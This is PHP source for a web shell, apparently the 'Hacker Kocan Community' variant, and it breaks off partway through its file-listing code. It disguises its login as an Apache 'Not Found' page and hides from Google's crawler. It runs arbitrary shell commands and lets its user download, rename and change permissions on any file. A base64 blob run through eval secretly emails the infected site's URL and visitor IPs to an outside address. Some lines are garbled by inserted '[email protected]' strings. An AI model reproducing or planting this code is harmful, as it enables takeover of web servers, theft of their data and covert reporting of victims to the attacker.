1. <?php
  2. /*********************************************************************************************************/
  3. $auth_pass = "";
  4. /*********************************************************************************************************/
  5. $color = "#00ff00";
  6. $default_action = 'FilesMan';
  7. @define('SELF_PATH', __FILE__);
  8. /*********************************************************************************************************/
  9. # Avoid google's crawler
  10. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found'); exit; }
  11. /*********************************************************************************************************/
  12. @session_start();
  13. @error_reporting(0);
  14. @ini_set('display_errors', 0);
  15. @ini_set('error_log',NULL);
  16. @ini_set('log_errors',0);
  17. @ini_set('max_execution_time',0);
  18. @set_time_limit(0);
  19. @set_magic_quotes_runtime(0);
  20. @define('VERSION', 'Hacker Kocan Community');
  21. @define('TITLE', 'Powered by');
  22. /*********************************************************************************************************/
  23. if( get_magic_quotes_gpc() )
  24. {
  25. function stripslashes_array($array) { return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); }
  26. $_POST = stripslashes_array($_POST);
  27. }
  28. function logout()
  29. {
  30. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  31. $page = $host='http://'.$_SERVER['SERVER_NAME'].'/'.$_SERVER['PHP_SELF'];
  32. echo '<center><span class="b1">Anda telah LogOut!!</scan></center>';
  33. ?>
  34. <script>window.location.href = '<?php print $page; ?>';</script>
  35. <?php
  36. exit(0);
  37. }
  38. $disablefunc = @ini_get("disable_functions");
  39. function showdisablefunctions() {
  40. if ($disablefunc[email protected]ini_get("disable_functions")){ return "<span style='color:#00FF1E'>".$disablefunc."</span>"; }
  41. else { return "<span style='color:#00FF1E'>NONE</span>"; }
  42. }
  43. function ex($cfe) {
  44. $res = '';
  45. if (!empty($cfe)) {
  46. if(function_exists('exec')) {
  47. @exec($cfe,$res);
  48. $res = join("\n",$res);
  49. } elseif(function_exists('shell_exec')) {
  50. $res = @shell_exec($cfe);
  51. } elseif(function_exists('system')) {
  52. @ob_start();
  53. @system($cfe);
  54. $res = @ob_get_contents();
  55. @ob_end_clean();
  56. } elseif(function_exists('passthru')) {
  57. @ob_start();
  58. @passthru($cfe);
  59. $res = @ob_get_contents();
  60. @ob_end_clean();
  61. } elseif(@is_resource($f = @popen($cfe,"r"))) {
  62. $res = "";
  63. while([email protected]feof($f)) { $res .= @fread($f,1024); }
  64. @pclose($f);
  65. } else { $res = "Ex() Disabled!"; }
  66. }
  67. return $res;
  68. }
  69. function showstat($stat) {
  70. if ($stat=="on") { return "<font style='color:#00FF00'>ON</font>"; }
  71. else {return "<b><font style='color:#f70501'>OFF</font></b>";}
  72. }
  73. function testperl() {
  74. if (ex('perl -h')) { return showstat("on"); }
  75. else { return showstat("off"); }
  76. }
  77. function testfetch() {
  78. if(ex('fetch --help')) { return showstat("on"); }
  79. else { return showstat("off"); }
  80. }
  81. function testwget() {
  82. if (ex('wget --help')) { return showstat("on"); }
  83. else { return showstat("off"); }
  84. }
  85. function testoracle() {
  86. if (function_exists('ocilogon')) { return showstat("on"); }
  87. else { return showstat("off"); }
  88. }
  89. function testpostgresql() {
  90. if (function_exists('pg_connect')) { return showstat("on"); }
  91. else { return showstat("off"); }
  92. }
  93. function testmssql() {
  94. if (function_exists('mssql_connect')) { return showstat("on"); }
  95. else { return showstat("off"); }
  96. }
  97. function testcurl() {
  98. if (function_exists('curl_version')) { return showstat("on"); }
  99. else { return showstat("off"); }
  100. }
  101. function testmysql() {
  102. if (function_exists('mysql_connect')) { return showstat("on"); }
  103. else { return showstat("off"); }
  104. }
  105. $quotes = get_magic_quotes_gpc();
  106. if ($quotes == "1" or $quotes == "on")
  107. {
  108. $quot = "<font style='color:#00FF00'>ON</font></b></font>";
  109. }
  110. else
  111. {
  112. $quot = "<font color='red'>OFF</font>";
  113. }
  114. function printLogin()
  115. {
  116. ?>
  117. <html>
  118. <head>
  119. <style> input { margin:0;background-color:#fff;border:1px solid #fff; } </style>
  120. </head>
  121. <title>
  122. Not Found
  123. </title>
  124. <body>
  125. <h1>Not Found</h1>
  126. <p>The requested URL was not found on this server. </p>
  127. <hr>
  128. <form method=post>
  129. <address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80<center><input type=password name=x><input type=submit value=''></center></address>
  130. </form>
  131. </body>
  132. </html>
  133. <?php
  134. exit;
  135. }
  136. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  137. {
  138. if( empty( $auth_pass ) || ( isset( $_POST['x'] ) && ( md5($_POST['x']) == $auth_pass ) ) )
  139. { $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; }
  140. else
  141. { printLogin(); }
  142. }
  143. $data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJhZXJ1bGRhd2hpdGVoa2NAZ21haWwuY29tIiwiPT4gaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsgfSBlbHNlIHsgJHZpc2l0Y291bnQ7IH0gc2V0Y29va2llKCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs="; eval(base64_decode($data));
  144. if(isset($_GET['dl']) && ($_GET['dl'] != "")){
  145. $file = $_GET['dl'];
  146. $filez = @file_get_contents($file);
  147. header("Content-type: application/octet-stream");
  148. header("Content-length: ".strlen($filez));
  149. header("Content-disposition: attachment; filename=\"".basename($file)."\";");
  150. echo $filez;
  151. exit;
  152. }
  153. elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
  154. $file = $_GET['dlgzip'];
  155. $filez = gzencode(@file_get_contents($file));
  156. header("Content-Type:application/x-gzip\n");
  157. header("Content-length: ".strlen($filez));
  158. header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
  159. echo $filez;
  160. exit;
  161. }
  162. // view image
  163. if(isset($_GET['img'])){
  164. @ob_clean();
  165. $d = magicboom($_GET['y']);
  166. $f = $_GET['img'];
  167. $inf = @getimagesize($d.$f);
  168. $ext = explode($f,".");
  169. $ext = $ext[count($ext)-1];
  170. @header("Content-type: ".$inf["mime"]);
  171. @header("Cache-control: public");
  172. @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  173. @header("Cache-control: max-age=".(60*60*24*7));
  174. @readfile($d.$f);
  175. exit;
  176. }
  177. $ver = VERSION;
  178. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  179. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE;
  180. else $safemode = FALSE;
  181. $system = @php_uname();
  182. if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
  183. else $win = FALSE;
  184. if(isset($_GET['y'])){
  185. if(@is_dir($_GET['view'])){
  186. $pwd = $_GET['view'];
  187. @chdir($pwd);
  188. }
  189. else{
  190. $pwd = $_GET['y'];
  191. @chdir($pwd);
  192. }
  193. }
  194. function convertByte($s) {
  195. if($s >= 1073741824)
  196. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  197. elseif($s >= 1048576)
  198. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  199. elseif($s >= 1024)
  200. return sprintf('%1.2f',$s / 1024 ) .' KB';
  201. else
  202. return $s .' B';
  203. }
  204. $free = convertByte(disk_free_space("/"));
  205. $total = convertByte(disk_total_space("/"));
  206. $free_percent = round(100/($total/$free),2)."%";
  207. if(!$win){
  208. if(!$user = rapih(exe("whoami"))) $user = ""; if(!$id = rapih(exe("id"))) $id = ""; $prompt = $user." \$ "; $pwd = @getcwd().DIRECTORY_SEPARATOR; }
  209. else
  210. {
  211. $user = @get_current_user();
  212. $id = $user;
  213. $prompt = $user." &gt;";
  214. $pwd = realpath(".")."\\";
  215. $v = explode("\\",$d);
  216. $v = $v[0];
  217. foreach (range("A","Z") as $letter)
  218. {
  219. $bool = @is_dir($letter.":\\");
  220. if ($bool)
  221. {
  222. $letters .= "<a href=\"?y=".$letter.":\\\">[ ";
  223. if ($letter.":" != $v) {$letters .= $letter;}
  224. else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
  225. $letters .= " ]</a> ";
  226. }
  227. }
  228. }
  229. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
  230. else $posix = FALSE;
  231. $bytes = disk_free_space(".");
  232. $si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
  233. $base = 1024;
  234. $class = min((int)log($bytes , $base) , count($si_prefix) - 1);
  235. $totalspace_bytes = disk_total_space(".");
  236. $totalspace_si_prefixs = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
  237. $totalspace_bases = 1024;
  238. $totalspace_class = min((int)log($totalspace_bytes , $totalspace_bases) , count($totalspace_si_prefixs) - 1);
  239. $totalspace_show = sprintf('%1.2f' , $totalspace_bytes / pow($totalspace_bases,$totalspace_class)) . ' ' . $totalspace_si_prefixs[$totalspace_class] . '';
  240. $freespace_show = sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class] . '';
  241. $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
  242. $my_ip = $_SERVER['REMOTE_ADDR'];
  243. $admin_contact = $_SERVER['SERVER_ADMIN'];
  244. $bindport = "443";
  245. $bindport_pass = "aerulcyber";
  246. $pwds = explode(DIRECTORY_SEPARATOR,$pwd);
  247. $pwdurl = "";
  248. for($i = 0 ; $i < sizeof($pwds)-1 ; $i++)
  249. {
  250. $pathz = "";
  251. for($j = 0 ; $j <= $i ; $j++)
  252. {
  253. $pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
  254. }
  255. $pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
  256. }
  257. if(isset($_POST['rename'])){
  258. $old = $_POST['oldname'];
  259. $new = $_POST['newname'];
  260. @rename($pwd.$old,$pwd.$new);
  261. $file = $pwd.$new;
  262. }
  263. if(isset($_POST['chmod'])){
  264. $name = $_POST['name'];
  265. $value = $_POST['newvalue'];
  266. if (strlen($value)==3){
  267. $value = 0 . "" . $value;}
  268. @chmod($pwd.$name,octdec($value));
  269. $file = $pwd.$name;}
  270. if(isset($_POST['chmod_folder'])){
  271. $name = $_POST['name'];
  272. $value = $_POST['newvalue'];
  273. if (strlen($value)==3){
  274. $value = 0 . "" . $value;}
  275. @chmod($pwd.$name,octdec($value));
  276. $file = $pwd.$name;}
  277. // print useful info
  278. $buff = $DISP_SERVER_SOFTWARE."<br />";
  279. $buff .="Operation System : <span style='color:#00ffff;'>".$system."</span><br />";
  280. if($id != "") $buff .= "ID : <span style='color:#00ffff;'>".$id."</span><br />";
  281. $buff .= "Server IP : "."<span style='color:#ffe112'>$server_ip</span>"."<font> | </font>"."Your IP : "."<span style='color:#FF0000'>$my_ip</span>"."<br />";
  282. $buff .= "Total HDD Space : "."<span style='color:#00FF1E'>$totalspace_show</span>"."<font> | </font>"."Free HDD Space : "."<span style='color:#00FF1E'>$freespace_show</span>"."<font> | Free HDD Percent <span style='color:#ffe112'>($free_percent)</span>"."<br/>";
  283. $buff .= "Admin Server : "."<span style='color:#ffe112'> $admin_contact </span>"."<br/>";
  284. $buff .= "Magic Quotes:$quot"."<br>";
  285. $buff .= "Disabled Functions: ".showdisablefunctions()."<br>";
  286. $buff .= "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql()." cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."<br>";
  287. if($safemode) $buff .= "safemode <span class=\"gaya\">ON</span><br />";
  288. else $buff .= "safemode <span class=\"gaya\">OFF<span><br />";
  289. $buff .= $letters."&nbsp;&gt;&nbsp;".$pwdurl;
  290. function rapih($text){ return trim(str_replace("<br />","",$text)); }
  291. function magicboom($text){ if (!get_magic_quotes_gpc()) { return $text; } return stripslashes($text); }
  292. function showdir($pwd,$prompt)
  293. {
  294. $fname = array();
  295. $dname = array();
  296. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
  297. else $posix = FALSE;
  298. $user = "????:????";
  299. if($dh = opendir($pwd))
  300. {
  301. while($file = readdir($dh))
  302. {
  303. if(is_dir($file))
  304. { $dname[] = $file; }
  305. elseif(is_file($file))
  306. { $fname[] = $file; }
  307. }
  308. closedir($dh);
  309. }
  310. sort($fname);
  311. sort($dname);
  312. $path = @explode(DIRECTORY_SEPARATOR,$pwd);
  313. $tree = @sizeof($path);
  314. $parent = "";
  315. $buff = "<form action=\"?y=".$pwd."&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
  316. <table class=\"cmdbox\" style=\"width:50%;\">
  317. <tr>
  318. <td>[email protected]$prompt</td>
  319. <td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" />
  320. <input class=\"inputzbut\" type=\"submit\" value=\"Execute !\" name=\"submitcmd\" style=\"width:80px;\" /></td>
  321. </tr>
  322. </form>
  323. <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
  324. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  325. <tr>
  326. <td>view file/folder</td>
  327. <td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" />
  328. <input class=\"inputzbut\" type=\"submit\" value=\"Enter !\" name=\"submitcmd\" style=\"width:80px;\" /></td>
  329. </tr>
  330. </form>
  331. </table>
  332. <table class=\"explore\">
  333. <tr>
  334. <th>name</th>
  335. <th style=\"width:80px;\">size</th>
  336. <th style=\"width:210px;\">owner:group</th>
  337. <th style=\"width:80px;\">perms</th>
  338. <th style=\"width:110px;\">modified</th>
  339. <th style=\"width:190px;\">actions</th>
  340. </tr> ";
  341. if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
  342. else $parent = $pwd;
  343. foreach($dname as $folder)
  344. {
  345. if($folder == ".")
  346. {
  347. if(!$win && $posix)
  348. {
  349. $name[email protected]posix_getpwuid(@fileowner($folder));
  350. $group[email protected]posix_getgrgid(@filegroup($folder));
  351. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  352. }
  353. else { $owner = $user; }
  354. $buff .= "<tr>
  355. <td><a href=\"?y=".$pwd."\">$folder</a></td>
  356. <td>-</td>
  357. <td style=\"text-align:center;\">".$owner."</td>
  358. <td>".get_perms($pwd)."</td>
  359. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td>
  360. <td><span id=\"titik1\">
  361. <a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a>
  362. | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a>
  363. </span>
  364. <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  365. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  366. <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  367. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
  368. </form>
  369. </td>
  370. </tr> ";
  371. }
  372. elseif($folder == "..")
  373. {
  374. if(!$win && $posix)
  375. {
  376. $name[email protected]posix_getpwuid(@fileowner($folder));
  377. $group[email protected]posix_getgrgid(@filegroup($folder));
  378. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  379. }
  380. else { $owner = $user; }
  381. $buff .= "<tr>
  382. <td><a href=\"?y=".$parent."\">$folder</a></td>
  383. <td>-</td>
  384. <td style=\"text-align:center;\">".$owner."</td>
  385. <td>".get_perms($parent)."</td>
  386. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
  387. <td><span id=\"titik2\">
  388. <a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a>
  389. | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a>
  390. </span>
  391. <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  392. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  393. <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  394. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
  395. </form>
  396. </td>
  397. </tr>";
  398. }
  399. else
  400. {
  401. if(!$win && $posix)
  402. {
  403. $name[email protected]posix_getpwuid(@fileowner($folder));
  404. $group[email protected]posix_getgrgid(@filegroup($folder));
  405. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  406. }
  407. else { $owner = $user; }
  408. $buff .= "<tr>
  409. <td>
  410. <a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><img src='data:image/png;base64,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' /> [ $folder ]</a>
  411. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  412. <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
  413. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
  414. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  415. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
  416. onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
  417. </form>
  418. </td>
  419. <td>DIR</td>
  420. <td style=\"text-align:center;\">".$owner."</td>
  421. <td>".get_perms($pwd.$folder)."</td>
  422. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td>
  423. <td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a>
  424. | <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">delete</a>
  425. </td>
  426. </tr>";
  427. }
  428. }
  429. foreach($fname as $file)
  430. {
  431. $full = $pwd.$file;
  432. if(!$win && $posix)
  433. {
  434. $name[email protected]posix_getpwuid(@fileowner($file));
  435. $group[email protected]posix_getgrgid(@filegroup($file));
  436. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  437. }
  438. else { $owner = $user; }
  439. $buff .= "<tr>
